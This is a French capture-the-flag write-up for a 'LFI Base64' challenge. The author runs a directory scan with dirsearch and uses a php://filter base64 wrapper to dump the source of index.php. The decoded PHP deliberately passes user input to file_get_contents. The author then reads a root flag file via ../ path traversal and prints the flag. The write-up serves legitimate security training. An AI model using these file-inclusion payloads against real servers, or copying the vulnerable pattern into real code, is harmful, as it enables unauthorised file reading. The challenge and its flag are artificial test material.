Local File Inclusion (LFI) Base64

Consignes

Le flag se trouve à la racine !

Réalisation

J'ai dans un premier temps accédé à la page du Challenge. L'URL ne possède aucune donnée et je n'ai pas de bouton de redirection sur la page du site. Dans un premier temps, j'ai donc listé les fichiers présents sur le site :

dirsearch -r -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-files.txt -u "http://ctfd-link.com"

Cette commande me retourne la présence du fichier index.php. Je vais donc utiliser ceci pour effectuer mes recherches sur le serveur. Dans un premier temps, j'effectue une recherche pour le fichier flag.txt à la racine du serveur, j'obtiens donc une réponse 403 Forbidden.

http://ctfd-link.com/index.php?page=flag.txt

J'ai donc une possibilité d'effectuer du LFI. Cependant, le défi étant nommé "LFI Base64", je sais qu'il va falloir effectuer du base64. Dans le cours donné par le prof, un évènement similaire était présent. Je me base donc sur ce dernier pour effectuer la recherche suivante :

Je recherche donc à utiliser comme énoncé dans le cours le wrapper filter pour encoder en base64 le code source du fichier PHP cible et ainsi empêcher son interprétation :

http://ctfd-link.com/index.php?page=php://filter/convert.base64-encode/resource=index.php

L'accès à ce lien me retourne une ligne en base64 :

PD9waHAKZWNobyAnPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJjc3MvcGljby5taW4uY3NzIj4nOwplY2hvICc8bWFpbiBjbGFzcz0iY29udGFpbmVyIj4nOwoKLy8gQ2hhbGxlbmdlIExGSSB3aXRoIEJhc2U2NCBXcmFwcGVyCmlmIChpc3NldCgkX0dFVFsncGFnZSddKSkgewogICAgJHBhZ2UgPSAkX0dFVFsncGFnZSddOwoKICAgIC8vIEF1dG9yaXNlciB1bmlxdWVtZW50IGxlcyBjaGVtaW5zIGNvbW1lbsOnYW50IHBhciAncGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT0nCiAgICBpZiAoc3RycG9zKCRwYWdlLCAncGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT0nKSA9PT0gMCkgewogICAgICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRwYWdlKTsKICAgICAgICBpZiAoJGNvbnRlbnQgPT09IGZhbHNlKSB7CiAgICAgICAgICAgIGVjaG8gIjxoMT40MDQgTm90IEZvdW5kPC9oMT48cD5GaWxlIG5vdCBmb3VuZCBvciBlcnJvciByZWFkaW5nIHRoZSBmaWxlLjwvcD4iOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gIjxwcmU+JGNvbnRlbnQ8L3ByZT4iOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyAiPGgxPjQwMyBGb3JiaWRkZW48L2gxPiI7CiAgICB9Cn0gZWxzZSB7CiAgICBlY2hvICI8aDE+SGVsbG8gV29ybGQ8L2gxPiI7Cn0KCmVjaG8gJzwvbWFpbj4nOwo/Pgo=

Je met donc cette ligne dans un fichier .txt sur ma machine que je décode ensuite avec du base64 :

$ nano base64.txt
// Insertion du Base64 obtenu précédemment.

$ base64 -d base64.txt
<?php
echo '<link rel="stylesheet" href="css/pico.min.css">';
echo '<main class="container">';

// Challenge LFI with Base64 Wrapper
if (isset($_GET['page'])) {
    $page = $_GET['page'];

    // Autoriser uniquement les chemins commençant par 'php://filter/convert.base64-encode/resource='
    if (strpos($page, 'php://filter/convert.base64-encode/resource=') === 0) {
        $content = @file_get_contents($page);
        if ($content === false) {
            echo "<h1>404 Not Found</h1><p>File not found or error reading the file.</p>";
        } else {
            echo "<pre>$content</pre>";
        }
    } else {
        echo "<h1>403 Forbidden</h1>";
    }
} else {
    echo "<h1>Hello World</h1>";
}

echo '</main>';
?>

Ce fichier PHPnous montre que nous ne pouvons uniquement accéder aux chemins qui commencent par php://filter/convert.base64-encode/resource=. J'ai donc choisi de me rendre à ce chemin et ensuite rechercher flag.txt dans la racine de la machine :

http://ctfd-link.com/index.php?page=php://filter/convert.base64-encode/resource=../../../../flag.txt

Une fois l'accès à la page effectué, la ligne suivante apparaît :

MjYwMHtZMnpvT3ZUXzloYVgtcEJKRkpGQXNnfQ==

J'effectue donc la même manipulation pour décoder le fichier sur ma machine. Une fois ceci effectué, voici le FLAG :

2600{Y2zoOvT_9haX-pBJFJFAsg}

Last updated